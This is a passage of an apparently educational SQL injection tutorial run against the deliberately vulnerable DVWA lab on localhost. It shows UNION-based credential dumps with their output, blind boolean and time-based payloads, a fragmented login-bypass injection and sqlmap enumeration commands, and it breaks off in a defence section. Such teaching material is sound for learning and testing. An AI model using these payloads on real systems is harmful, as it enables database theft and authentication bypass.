&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f4dcc3b5aa765d61d8327deb882cf99&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;gordonb&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;e99a18c428cb38d5f260853678922e03&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1337&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="n"&gt;d3533d75ae2c3966d7e0d4fcc69216b&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pablo&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;d107d09f5bbe40cade3de5c71e9e9b7&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;smithy&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="n"&gt;f4dcc3b5aa765d61d8327deb882cf99&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' union select user, password from users union select 1,2'&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Surname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;And there it is: a list of all users and password existing. Surprisingly (or not), passwords are in clear text and not even hashed as they should be.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  Security Level: Medium
&lt;/h3&gt;

&lt;p&gt;Raising the DVWA security level under "DVWA Security" -&amp;gt; choose &lt;code&gt;Medium&lt;/code&gt;.&lt;br&gt;
This time, instead of a plain form, we find a dropdown list with certain users to choose from. Checking the browser dev tools tells us the &lt;code&gt;POST&lt;/code&gt; request is being sent with two parameters: &lt;code&gt;id=1&amp;amp;Submit=Submit&lt;/code&gt;. Since there are more than a handful of headers we can use any kind of interceptor to catch the request and repeat it with different parameters. One favorite option is &lt;a href="https://portswigger.net/burp"&gt;BurpSuite&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quick setup to intercept with BurpSuite&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Set your requests to go through a proxy; with Firefox this is easy as going to &lt;code&gt;Preferences&lt;/code&gt; --&amp;gt; &lt;code&gt;Advanced&lt;/code&gt; --&amp;gt; &lt;code&gt;Network Settings&lt;/code&gt; --&amp;gt; &lt;code&gt;Manual Proxy Configuration&lt;/code&gt; and setting all protocols to go through &lt;code&gt;127.0.0.1:8080&lt;/code&gt; (BurpSuite's default)&lt;/li&gt;
&lt;li&gt;Go to BurpSuite &lt;code&gt;Proxy&lt;/code&gt; tab and set &lt;code&gt;intercept on&lt;/code&gt;. The next request coming out of Firefox should be stopped at BS where you can decide to stop, forward or drop it&lt;/li&gt;
&lt;li&gt;Go to DVWA SQLi page, choose an ID from the dropdown and click &lt;code&gt;Submit&lt;/code&gt;. The request should be waiting on BurpSuite, where we can then send it to &lt;code&gt;Repeater&lt;/code&gt; through the &lt;code&gt;Actions&lt;/code&gt; menu.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Poking at the server by playing with the &lt;code&gt;id&lt;/code&gt; of the &lt;code&gt;POST&lt;/code&gt; request reveals an escape character in the form of &lt;code&gt;\&lt;/code&gt;. So whenever a special char like &lt;code&gt;',#,-,$&lt;/code&gt; appears it's being escaped. However, not being able to use special chars, does not prevent a &lt;code&gt;UNION&lt;/code&gt; injection with the exact same syntax:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. No escaping at all. The backend code already wraps it and fetches everything within the command fully.&lt;/p&gt;




&lt;h3&gt;
  
  
  Security Level: High
&lt;/h3&gt;

&lt;p&gt;The last security level shows a link that pops up another window with a form that controls the request. Playing around with previous escapes shows that the code is "better" here but it still has a glitch. Comments are a good way to escape the rest of the line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;something&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;sometable&lt;/span&gt; &lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Will&lt;/span&gt; &lt;span class="k"&gt;translate&lt;/span&gt; &lt;span class="k"&gt;into&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="k"&gt;SQL&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;something&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;sometable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There are different options for commenting SQL lines, common ones are &lt;code&gt;--&lt;/code&gt;, &lt;code&gt;#&lt;/code&gt;, &lt;code&gt;/*&lt;/code&gt; - multiline that ends with &lt;code&gt;*/&lt;/code&gt;.&lt;br&gt;
In the "real world" those are useful in describing code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="c1"&gt;-- this is the name&lt;/span&gt;
  &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="c1"&gt;-- users table&lt;/span&gt;
  &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;"DAN"&lt;/span&gt; &lt;span class="c1"&gt;-- Dan is the CEO&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When it comes to SQLi, comments help ignore the rest of the code that follows, so consider this PHP code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Check database&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT first_name, last_name FROM users
            WHERE user_id = '&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;' LIMIT 1;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query is &lt;code&gt;LIMIT&lt;/code&gt;ed to a single result making it hard to pull a large set of data, ignoring the &lt;code&gt;LIMIT&lt;/code&gt;ation can by pass it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;First&lt;/span&gt; &lt;span class="k"&gt;input&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Translates&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;first_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last_name&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
  &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'1 union select user,password'&lt;/span&gt; &lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since the query result is limited to one set, it will constantly return &lt;code&gt;first_name, last_name&lt;/code&gt;, ignoring the &lt;code&gt;UNION&lt;/code&gt;.&lt;br&gt;
Let's try again then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;#&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Limitation&lt;/span&gt; &lt;span class="n"&gt;ignored&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;first_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;last_name&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;
  &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'1 union select user,password FROM users'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Blind SQLi
&lt;/h1&gt;

&lt;p&gt;A blind SQL injection is used when the application does not return the SQL error but is still vulnerable to the attack. This is virtually the same scenario as a normal SQL, but the attacker has to figure out if the vulnerability exists using a series of true / false tests. Another method is time-based. By sending &lt;code&gt;SLEEP&lt;/code&gt; within the query, based on the time it took for the response to appear, the attacker can tell whether an answer is positive or not.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Time-based blind SQL injection relies on the database pausing for a specified amount of time, then returning the results, indicating successful SQL query executing. Using this method, an attacker enumerates each letter of the desired piece of data using the following logic:&lt;br&gt;
If the first letter of the first database’s name is an ‘A’, wait for 10 seconds.&lt;br&gt;
If the first letter of the first database’s name is an ‘B’, wait for 10 seconds. etc.&lt;br&gt;
&lt;br&gt;&lt;br&gt;&lt;br&gt;
- &lt;a href="https://owasp.org/www-community/attacks/Blind_SQL_Injection"&gt;Blind SQL Injection - OWASP&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Let's test the DVWA blind SQLi module with the &lt;code&gt;low&lt;/code&gt; security level. With the simple input &lt;code&gt;1&lt;/code&gt; the system returns &lt;code&gt;User ID exists in the database&lt;/code&gt;. With bad input like &lt;code&gt;'&lt;/code&gt; the response is &lt;code&gt;404&lt;/code&gt; with a message &lt;code&gt;User ID is MISSING from the database.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The next step is playing around to see if a boolean attack is optional:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;Input&lt;/span&gt;
&lt;span class="s1"&gt;'1 AND 1='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;User&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="k"&gt;exists&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;supposed&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;truthy&lt;/span&gt; &lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="k"&gt;Input&lt;/span&gt;
&lt;span class="s1"&gt;'1 AND 1='&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;User&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="n"&gt;MISSING&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="k"&gt;database&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;Good&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="n"&gt;It&lt;/span&gt; &lt;span class="n"&gt;seems&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="nb"&gt;boolean&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;based&lt;/span&gt; &lt;span class="n"&gt;blind&lt;/span&gt; &lt;span class="n"&gt;attack&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="k"&gt;valid&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From here on, it's a matter of separating known results into false/positive statements from which the attacker can derive answer. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="k"&gt;input&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="mi"&gt;404&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' and (select user from users where user_id=1)='&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="s1"&gt;' and 1='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;However&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="n"&gt;successful&lt;/span&gt;
&lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;means&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;is&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="n"&gt;user_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' and (select user from users where user_id=1)='&lt;/span&gt;&lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="s1"&gt;' and 1='&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Fragmented SQLi
&lt;/h1&gt;

&lt;p&gt;A lesser-known method, but nonetheless effective can be useful when certain characters like &lt;code&gt;'&lt;/code&gt; are escaped, but the user can control two different fields. The obvious example is a login page. When a string is escaped by the application for example with &lt;code&gt;\&lt;/code&gt;, the attacker may circumvent it by created his own escape like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;\&lt;/span&gt;
&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;#&lt;/span&gt;

&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="n"&gt;where&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'".$username."'&lt;/span&gt;
          &lt;span class="k"&gt;and&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'".$password."'&lt;/span&gt;&lt;span class="s2"&gt;";
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This translates to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;where&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt; or password='&lt;/span&gt; &lt;span class="k"&gt;or&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;#&lt;/span&gt; &lt;span class="s1"&gt;';
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The backslash escapes the following single-quote, creating a situation where the application reads the username value like so: &lt;code&gt;'\' or password=' or 1 # '&lt;/code&gt;. The statement above will always return &lt;code&gt;true&lt;/code&gt;. The hash &lt;code&gt;#&lt;/code&gt; makes sure its following command section is ignored as a comment.&lt;/p&gt;




&lt;h1&gt;
  
  
  Automating things with sqlmap
&lt;/h1&gt;

&lt;p&gt;One has to get familiar with the different techniques to handle different situations. But, rewriting payloads and remembering all the options is hard if you're not an expert. Human errors and false-positive we may miss can also interfere. &lt;a href="http://sqlmap.org"&gt;Sqlmap&lt;/a&gt; can help.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sqlmap&lt;/code&gt; is a CLI tool that automates the scan and provides relevant information. If possible it can grab information from the DB like database names and even tables. It will also identity blind-SQLi and report optional techniques (boolean or time based).&lt;/p&gt;

&lt;p&gt;Here's a simple operation of it on DVWA blind SQLi level&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Scanning the full form path with parameters&lt;/span&gt;
&lt;span class="c"&gt;# Note how cookies are also passed to the scanner for authentication&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:8000/vulnerabilities/sqli_blind/?id=1&amp;amp;Submit=Submit#"&lt;/span&gt;
      &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=abcd;security=low"&lt;/span&gt;
      &lt;span class="nt"&gt;--dbs&lt;/span&gt;

sqlmap resumed the following injection point&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt; from stored session:
&lt;span class="nt"&gt;---&lt;/span&gt;
Parameter: &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;GET&lt;span class="o"&gt;)&lt;/span&gt;
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="s1"&gt;' AND 5756=5756 AND '&lt;/span&gt;XWif&lt;span class="s1"&gt;'='&lt;/span&gt;XWif&amp;amp;Submit&lt;span class="o"&gt;=&lt;/span&gt;Submit

    Type: time-based blind
    Title: MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.0.12 AND time-based blind &lt;span class="o"&gt;(&lt;/span&gt;query SLEEP&lt;span class="o"&gt;)&lt;/span&gt;
    Payload: &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="s1"&gt;' AND (SELECT 5198 FROM (SELECT(SLEEP(5)))xyFF)
                   AND '&lt;/span&gt;lswI&lt;span class="s1"&gt;'='&lt;/span&gt;lswI&amp;amp;Submit&lt;span class="o"&gt;=&lt;/span&gt;Submit
&lt;span class="nt"&gt;---&lt;/span&gt;
available databases &lt;span class="o"&gt;[&lt;/span&gt;2]:
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; dvwa
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; information_schema
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scanner found both the vulnerability and the fact it has to be attacked blindly. It suggests payloads and presently available databases that can be used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Running the same scan with a -D for db name&lt;/span&gt;
&lt;span class="c"&gt;# and --tables to enumerate the dvwa db&lt;/span&gt;
sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost:8000/vulnerabilities/sqli_blind/?id=1&amp;amp;Submit=Submit#"&lt;/span&gt;
      &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=abcd;security=low"&lt;/span&gt;
      &lt;span class="nt"&gt;-D&lt;/span&gt; dvwa
      &lt;span class="nt"&gt;--tables&lt;/span&gt;

Database: dvwa
&lt;span class="o"&gt;[&lt;/span&gt;2 tables]
+-----------+
| guestbook |
| &lt;span class="nb"&gt;users&lt;/span&gt;     |
+-----------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  Defence
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;"ORM" - A common belief is, that a good way of dealing with SQLi is using an &lt;a href="https://en.wikipedia.org/wiki/Object-relational_mapping"&gt;ORM layer&lt;/a&gt;. Not only an ORM provides data structure management, but it also takes away the responsibility of building raw database queries. This is usually helpful; transferring the responsibility of making queries to more experienced hands make sense. But it should not be done blindly. While an ORM is usually a, it is &lt;strong&gt;not&lt;/strong&gt; an SQLi security solution. An ORM can easily turn in to a double-edged sword. If breached, the ORM may turn into a world scale SQL injection hole. ORM users must get familiar with injection methods and test their own applications.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;"I would say it is a baseline expectation for any ORM, yes. which is likely why it's not mentioned in docs -- it's assumed, so long as you use the ORM's core API or query builder.&lt;br&gt;
and that's where the caveat is... ORMs provide many ways to construct a database query, but they also give you the option/flexibility to write 'raw,' do-it-yourself queries as a string... or they allow you to write some part of a generated query as a raw string. obviously you want to avoid doing this, as it kinda defeats the purpose of using an ORM... but there is a case for it every now and again."&lt;br&gt;
- &lt;a href="https://github.com/typeorm/typeorm/issues/3696"&gt;TypeOrm Issue reply by @feather-hmalone&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;WAF&lt;/strong&gt; - A &lt;a href="https://en.wikipedia.org/wiki/Web_application_firewall"&gt;web application firewall&lt;/a&gt; can be a great help by filtering incoming suspicious requests such as those of an SQLi, or cross-site scripting payloads. These too, rely on the power of their rules and &lt;a href="https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF"&gt;can be bypassed&lt;/a&gt; if not implemented correctly.&lt;/p&gt;&lt;/li&gt;
